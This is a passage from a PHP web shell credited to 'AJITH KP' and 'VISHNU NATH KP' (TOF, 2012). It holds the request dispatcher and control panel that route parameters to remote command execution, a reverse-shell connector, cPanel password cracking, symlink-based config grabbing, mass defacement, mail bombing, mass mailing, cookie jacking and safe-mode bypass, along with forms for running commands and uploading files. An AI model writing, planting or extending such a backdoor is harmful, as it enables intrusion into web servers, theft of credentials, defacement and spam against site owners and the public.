  2114. else if(isset($_REQUEST['c0de_inject']) && isset($_REQUEST['path']))
  2115. {
  2116. chdir($_GET['path']);
  2117. code_in_ui();
  2118. }
  2120. else if(isset($_GET['sh311_scanx']))
  2121. {
  2122. shell_finder_bg();
  2123. }
  2125. else if(isset($_REQUEST['config_grab']))
  2126. {
  2127. sym_xxx();
  2128. }
  2130. else if(isset($_REQUEST['ftp_man']))
  2131. {
  2132. ftp_man_ui();
  2133. }
  2135. else if(isset($_REQUEST['mass_xploit']))
  2136. {
  2137. mass_deface_ui();
  2138. }
  2140. else if(isset($_GET['f_host']) && isset($_GET['f_user']) && isset($_GET['f_pass']))
  2141. {
  2142. ftp_man_bg();
  2143. }
  2145. else if(isset($_GET['mass_name']) && isset($_GET['mass_cont']))
  2146. {
  2147. mass_deface_bg();
  2148. }
  2150. else if(isset($_REQUEST['ftp_anon_scan']))
  2151. {
  2152. ftp_anonymous_ui();
  2153. }
  2155. else if(isset($_GET['ftp_anonz']))
  2156. {
  2157. ftp_anonymous_bg();
  2158. }
  2160. else if(isset($_REQUEST['killme']))
  2161. {
  2162. killme();
  2163. }
  2165. else if(isset($_REQUEST['hexenc']))
  2166. {
  2167. hex_encode_ui();
  2168. }
  2170. else if(isset($_REQUEST['remotefiledown']))
  2171. {
  2172. remote_download_ui();
  2173. }
  2175. else if(isset($_GET['type_r_down']) && isset($_GET['rurlfile']) && isset($_GET['path']))
  2176. {
  2177. remote_download_bg();
  2178. }
  2180. else if(isset($_REQUEST['cpanel_crack']))
  2181. {
  2182. cpanel_crack();
  2183. }
  2185. else if(isset($_REQUEST['rem_web']) && isset($_REQUEST['tryzzz']))
  2186. {
  2187. remote_file_check_bg();
  2188. }
  2190. else if(isset($_REQUEST['typed']) && isset($_REQUEST['typenc']) && isset($_REQUEST['php_content']))
  2191. {
  2192. php_ende_bg();
  2193. }
  2195. else if(isset($_REQUEST['remote_server_scan']))
  2196. {
  2197. remote_file_check_ui();
  2198. }
  2200. else if(isset($_REQUEST['server_exploit_details']))
  2201. {
  2202. exploit_details();
  2203. }
  2205. else if(isset($_REQUEST['from']) && isset($_REQUEST['to_mail']) && isset($_REQUEST['subject_mail']) && isset($_REQUEST['mail_content']))
  2206. {
  2207. massmailer_bg();
  2208. }
  2210. else if(isset($_REQUEST['mysqlman']))
  2211. {
  2212. mysqlman();
  2213. }
  2215. else if(isset($_REQUEST['bomb_to']) && isset($_REQUEST['bomb_subject']) && isset($_REQUEST['bmail_content']))
  2216. {
  2217. mailbomb_bg();
  2218. }
  2220. else if(isset($_REQUEST['cookiejack']))
  2221. {
  2222. cookie_jack();
  2223. }
  2225. else if(isset($_REQUEST['massmailer']))
  2226. {
  2227. massmailer_ui();
  2228. }
  2230. else if(isset($_REQUEST['rename']))
  2231. {
  2232. chdir($_GET['path']);
  2233. rename_ui();
  2234. }
  2236. else if(isset($_GET['old_name']) && isset($_GET['new_name']))
  2237. {
  2238. chdir($_GET['path']);
  2239. rename_bg();
  2240. }
  2242. else if(isset($_REQUEST['encodefile']))
  2243. {
  2244. php_ende_ui();
  2245. }
  2247. else if(isset($_REQUEST['edit']))
  2248. {
  2249. edit_file();
  2250. }
  2252. else if(isset($_REQUEST['read']))
  2253. {
  2254. chdir($_GET['path']);
  2255. code_viewer();
  2256. }
  2258. else if(isset($_REQUEST['perm']))
  2259. {
  2260. chdir($_GET['path']);
  2261. ch_perm_ui();
  2262. }
  2264. else if(isset($_GET['path']) && isset($_GET['p_filex']) && isset($_GET['new_perm']))
  2265. {
  2266. chdir($_GET['path']);
  2267. ch_perm_bg();
  2268. }
  2270. else if(isset($_REQUEST['del_fil']))
  2271. {
  2272. chdir($_GET['path']);
  2273. delete_file();
  2274. exit;
  2275. }
  2276. else if(isset($_REQUEST['phpinfo']))
  2277. {
  2278. chdir($_GET['path']);
  2279. ob_clean();
  2280. echo phpinfo();
  2281. exit;
  2282. }
  2283. else if(isset($_REQUEST['del_dir']))
  2284. {
  2285. chdir($_GET['path']);
  2286. $d_dir=$_GET['del_dir'];
  2287. deldirs($d_dir);
  2288. }
  2289. else if(isset($_GET['path']) && isset($_GET['new_file']))
  2290. {
  2291. chdir($_GET['path']);
  2292. mk_file_ui();
  2293. }
  2294. else if(isset($_GET['path']) && isset($_GET['new_f_name']) && isset($_GET['n_file_content']))
  2295. {
  2296. mk_file_bg();
  2297. }
  2298. else if(isset($_GET['path']) && isset($_GET['new_dir']))
  2299. {
  2300. chdir($_GET['path']);
  2301. create_dir();
  2302. }
  2303. else if(isset($_GET['path']) && isset($_GET['cmdexe']))
  2304. {
  2305. chdir($_GET['path']);
  2306. cmd();
  2307. }
  2308. else if(isset($_POST['upload_f']) && isset($_POST['path']))
  2309. {
  2310. upload_file();
  2311. }
  2312. else if(isset($_REQUEST['rs']))
  2313. {
  2314. reverse_conn_ui();
  2315. }
  2316. else if(isset($_GET['rev_option']) && isset($_GET['my_ip']) && isset($_GET['my_port']))
  2317. {
  2318. reverse_conn_bg();
  2319. }
  2320. else if(isset($_REQUEST['safe_mod']) && isset($_REQUEST['path']))
  2321. {
  2322. chdir($_GET['path']);
  2323. safe_mode_fuck_ui();
  2324. }
  2325. else if(isset($_GET['path']) && isset($_GET['safe_mode']))
  2326. {
  2327. safe_mode_fuck();
  2328. }
  2329. else if(isset($_GET['path']) && isset($_REQUEST['forbd_dir']))
  2330. {
  2331. AccessDenied();
  2332. }
  2334. else if(isset($_REQUEST['symlink']))
  2335. {
  2336. sym_link();
  2337. }
  2339. else if(isset($_GET['path']) && isset($_GET['copy']))
  2340. {
  2341. copy_file_ui();
  2342. }
  2343. else if(isset($_GET['c_file']) && isset($_GET['c_target']) &&isset($_GET['cn_name']))
  2344. {
  2345. copy_file_bg();
  2346. }
  2347. else
  2348. {
  2349. filemanager_bg();
  2350. }
  2352. ////////////////////////////// End Frond End Calls //////////////////////////////
  2354. echo "</div><div id=result><center><p><table class='tbl'>
  2355. <tr><td><form method='GET'>PWD : <input size='50' name='path' value=".getcwd()."><input type='submit' value=' >> ' /></form></td></tr></table>
  2356. <table class='tbl'><tr>
  2357. <td><form style='float:right;' method='GET'><input name='path' value=".getcwd()." type=hidden><span> New File : </span><input type='submit' value=' >> ' ><input size='40' name='new_file' /></form>
  2358. </td>
  2359. <td><form style='float:left;' method='GET'><input name='path' value=".getcwd()." type=hidden><input size='40' name='new_dir'><input type='submit' value=' >> ' /><span> : New Dir</span></form>
  2360. </td>
  2361. </tr>
  2362. <tr>
  2363. <td><form style='float:right;' method='GET'><input style='float:left;' name='path' value=".getcwd()." type=hidden><span>CMD : </span><input type='submit' value=' >> ' ><input name='cmdexe' size='40' /></form>
  2364. </td>
  2365. <td><form style='float:left;' method='POST' enctype=\"multipart/form-data\"><input name='path' value=".getcwd()." type=hidden><input size='27' name='upload_f' type='file'><input type='submit' name='upload_f' value=' >> ' /><span> : Upload File</span></form>
  2366. </td>
  2367. </tr>
  2368. </table></p><p><font size=4 color=green>&copy <a style='color:green; text-decoration:none;' href=http://facebook.com/ajithkp560>AJITH KP</a> & <a style='color:green; text-decoration:none;' href='http://www.facebook.com/vishnunathkp'>VISHNU NATH KP</a> &copy</font><br />&reg TOF [2012] &reg</div>"
  2369. ?>
comments powered by Disqus